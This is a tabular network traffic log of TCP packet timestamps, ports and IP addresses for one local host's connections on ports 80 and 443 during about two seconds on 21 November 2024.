Nov 21, 2024 19:58:52.424268961 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.424298048 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.424319983 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.426531076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.426548004 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.426587105 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.426700115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.426716089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.426739931 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.426743984 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.426754951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.426769972 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.426779985 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.426786900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.426794052 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.426824093 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.427604914 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.427622080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.427649021 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.427663088 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.428766012 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.428813934 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.429107904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.429122925 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.429153919 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.429164886 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.429231882 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.429316998 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.473073006 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.473112106 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.473155022 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.473196983 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.473486900 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.473541021 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.473565102 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.473603010 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.474112034 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.474159002 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.474212885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.474505901 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.474776983 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.475008965 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.475059986 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.475133896 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.475286007 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.475754023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.475816965 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.475819111 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.475861073 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.476428032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.476511002 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.476583958 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.476638079 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.477179050 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.477227926 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.477233887 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.477269888 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.477811098 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.477864981 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.478002071 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.478113890 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.478513002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.478563070 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.478663921 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.478712082 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.479222059 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.479269028 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.479345083 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.479387999 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.479914904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.480024099 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.480072975 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.480674028 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.480731010 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.480765104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.480848074 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.523200989 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.523339033 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.523350954 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.523395061 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.523464918 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.523529053 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.523556948 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.523569107 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.523593903 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.524245024 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.524322033 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.524322987 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.524362087 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.524799109 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.524851084 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.524859905 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.524897099 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.525501013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.525580883 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.525618076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.525717020 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.526196003 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.526343107 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.526371956 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.526395082 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.526912928 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.526962996 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.526995897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.527035952 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.527601004 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.527648926 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.527656078 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.527700901 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.528305054 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.528343916 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.528408051 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.528451920 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.528951883 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.528987885 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.529109955 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.529146910 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.529695988 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.529733896 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.529817104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.529855967 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.530364990 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.530404091 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.546542883 CET	443	49815	20.110.205.119	192.168.2.8
Nov 21, 2024 19:58:52.546860933 CET	49815	443	192.168.2.8	20.110.205.119
Nov 21, 2024 19:58:52.546876907 CET	443	49815	20.110.205.119	192.168.2.8
Nov 21, 2024 19:58:52.547240019 CET	443	49815	20.110.205.119	192.168.2.8
Nov 21, 2024 19:58:52.547660112 CET	49815	443	192.168.2.8	20.110.205.119
Nov 21, 2024 19:58:52.547710896 CET	443	49815	20.110.205.119	192.168.2.8
Nov 21, 2024 19:58:52.547910929 CET	49815	443	192.168.2.8	20.110.205.119
Nov 21, 2024 19:58:52.595321894 CET	443	49815	20.110.205.119	192.168.2.8
Nov 21, 2024 19:58:52.617928028 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.617950916 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.617973089 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.618000031 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.618088007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.618125916 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.618232012 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.618338108 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.618359089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.618391991 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.618899107 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.618942976 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.619009018 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.619045019 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.619666100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.619729996 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.619908094 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.620048046 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.620301962 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.620403051 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.620424032 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.620491982 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.621016026 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.621062994 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.621092081 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.621155977 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.621715069 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.621758938 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.621856928 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.621910095 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.622423887 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.622461081 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.622541904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.622586966 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.623143911 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.623188019 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.623255014 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.623296976 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.623819113 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.623951912 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.623975039 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.623989105 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.624528885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.624571085 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.624596119 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.624634027 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.671622038 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:52.673310995 CET	443	49817	104.70.121.146	192.168.2.8
Nov 21, 2024 19:58:52.673568964 CET	49817	443	192.168.2.8	104.70.121.146
Nov 21, 2024 19:58:52.673594952 CET	443	49817	104.70.121.146	192.168.2.8
Nov 21, 2024 19:58:52.675004959 CET	443	49817	104.70.121.146	192.168.2.8
Nov 21, 2024 19:58:52.675065041 CET	49817	443	192.168.2.8	104.70.121.146
Nov 21, 2024 19:58:52.676548004 CET	49817	443	192.168.2.8	104.70.121.146
Nov 21, 2024 19:58:52.676613092 CET	443	49817	104.70.121.146	192.168.2.8
Nov 21, 2024 19:58:52.728430986 CET	49817	443	192.168.2.8	104.70.121.146
Nov 21, 2024 19:58:52.728466034 CET	443	49817	104.70.121.146	192.168.2.8
Nov 21, 2024 19:58:52.779252052 CET	49817	443	192.168.2.8	104.70.121.146
Nov 21, 2024 19:58:52.790654898 CET	443	49818	104.70.121.146	192.168.2.8
Nov 21, 2024 19:58:52.790908098 CET	49818	443	192.168.2.8	104.70.121.146
Nov 21, 2024 19:58:52.790937901 CET	443	49818	104.70.121.146	192.168.2.8
Nov 21, 2024 19:58:52.791042089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:52.794347048 CET	443	49818	104.70.121.146	192.168.2.8
Nov 21, 2024 19:58:52.794404030 CET	49818	443	192.168.2.8	104.70.121.146
Nov 21, 2024 19:58:52.798834085 CET	49818	443	192.168.2.8	104.70.121.146
Nov 21, 2024 19:58:52.798932076 CET	443	49818	104.70.121.146	192.168.2.8
Nov 21, 2024 19:58:52.854356050 CET	49818	443	192.168.2.8	104.70.121.146
Nov 21, 2024 19:58:52.854382992 CET	443	49818	104.70.121.146	192.168.2.8
Nov 21, 2024 19:58:52.902870893 CET	49818	443	192.168.2.8	104.70.121.146
Nov 21, 2024 19:58:53.001610994 CET	443	49815	20.110.205.119	192.168.2.8
Nov 21, 2024 19:58:53.001940966 CET	443	49815	20.110.205.119	192.168.2.8
Nov 21, 2024 19:58:53.002125025 CET	49815	443	192.168.2.8	20.110.205.119
Nov 21, 2024 19:58:53.005422115 CET	49815	443	192.168.2.8	20.110.205.119
Nov 21, 2024 19:58:53.005450964 CET	443	49815	20.110.205.119	192.168.2.8
Nov 21, 2024 19:58:53.025860071 CET	443	49820	204.79.197.219	192.168.2.8
Nov 21, 2024 19:58:53.030631065 CET	49820	443	192.168.2.8	204.79.197.219
Nov 21, 2024 19:58:53.030658007 CET	443	49820	204.79.197.219	192.168.2.8
Nov 21, 2024 19:58:53.032104969 CET	443	49820	204.79.197.219	192.168.2.8
Nov 21, 2024 19:58:53.032201052 CET	49820	443	192.168.2.8	204.79.197.219
Nov 21, 2024 19:58:53.033387899 CET	49820	443	192.168.2.8	204.79.197.219
Nov 21, 2024 19:58:53.033512115 CET	443	49820	204.79.197.219	192.168.2.8
Nov 21, 2024 19:58:53.076447010 CET	49820	443	192.168.2.8	204.79.197.219
Nov 21, 2024 19:58:53.076462030 CET	443	49820	204.79.197.219	192.168.2.8
Nov 21, 2024 19:58:53.127839088 CET	49820	443	192.168.2.8	204.79.197.219
Nov 21, 2024 19:58:53.134813070 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.134951115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.135123968 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.135215044 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.135221004 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.135293007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.135927916 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.135982037 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.136019945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.136626005 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.136735916 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.136785984 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.137337923 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.137475967 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.137516022 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.138040066 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.138211012 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.138730049 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.138772011 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.138839006 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.139453888 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.139508963 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.139516115 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.139525890 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.140131950 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.140175104 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.140244007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.140527010 CET	443	49819	204.79.197.219	192.168.2.8
Nov 21, 2024 19:58:53.140824080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.140876055 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.140914917 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.141530991 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.141572952 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.141633034 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.141894102 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.142229080 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.142344952 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.142441988 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.142940998 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.143138885 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.143619061 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.143666029 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.143737078 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.144340992 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.144434929 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.144480944 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.145035982 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.145148993 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.145729065 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.145776033 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.145787001 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.145914078 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.146420002 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.146537066 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.147140980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.147186995 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.147226095 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.147870064 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.147938013 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.147981882 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.148525000 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.148649931 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.148701906 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.149221897 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.149414062 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.149462938 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.150023937 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.150124073 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.150651932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.150696039 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.150753021 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.151506901 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.151547909 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.151601076 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.151853085 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.152122021 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.152133942 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.152228117 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.152754068 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.152878046 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.153453112 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.153501034 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.153547049 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.153920889 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.154170990 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.154294014 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.154871941 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.154920101 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.155107021 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.155586958 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.155714989 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.155756950 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.156265020 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.156402111 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.156444073 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.156965017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.157023907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:53.157069921 CET	49746	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:53.192949057 CET	49819	443	192.168.2.8	204.79.197.219
Nov 21, 2024 19:58:53.271653891 CET	49819	443	192.168.2.8	204.79.197.219
Nov 21, 2024 19:58:53.271672010 CET	443	49819	204.79.197.219	192.168.2.8
Nov 21, 2024 19:58:53.275089025 CET	443	49821	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:53.275279999 CET	443	49819	204.79.197.219	192.168.2.8
Nov 21, 2024 19:58:53.275305986 CET	443	49819	204.79.197.219	192.168.2.8
Nov 21, 2024 19:58:53.275347948 CET	49819	443	192.168.2.8	204.79.197.219
Nov 21, 2024 19:58:53.283298016 CET	49819	443	192.168.2.8	204.79.197.219
Nov 21, 2024 19:58:53.283385038 CET	443	49819	204.79.197.219	192.168.2.8
Nov 21, 2024 19:58:53.298516989 CET	49821	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:53.298527002 CET	443	49821	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:53.299074888 CET	443	49821	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:53.299989939 CET	49821	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:53.300076008 CET	443	49821	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:53.300299883 CET	49821	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:53.328866005 CET	49819	443	192.168.2.8	204.79.197.219
Nov 21, 2024 19:58:53.328876019 CET	443	49819	204.79.197.219	192.168.2.8
Nov 21, 2024 19:58:53.334172010 CET	443	49816	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:53.339200020 CET	49816	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:53.339227915 CET	443	49816	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:53.339770079 CET	443	49816	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:53.347333908 CET	443	49821	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:53.348421097 CET	49816	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:53.348613977 CET	443	49816	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:53.360306978 CET	49816	443	192.168.2.8	13.107.246.40
Nov 21, 2024 19:58:53.375135899 CET	49819	443	192.168.2.8	204.79.197.219
Nov 21, 2024 19:58:53.403372049 CET	443	49816	13.107.246.40	192.168.2.8
Nov 21, 2024 19:58:53.821238041 CET	443	49821	13.107.246.40	192.168.2.8
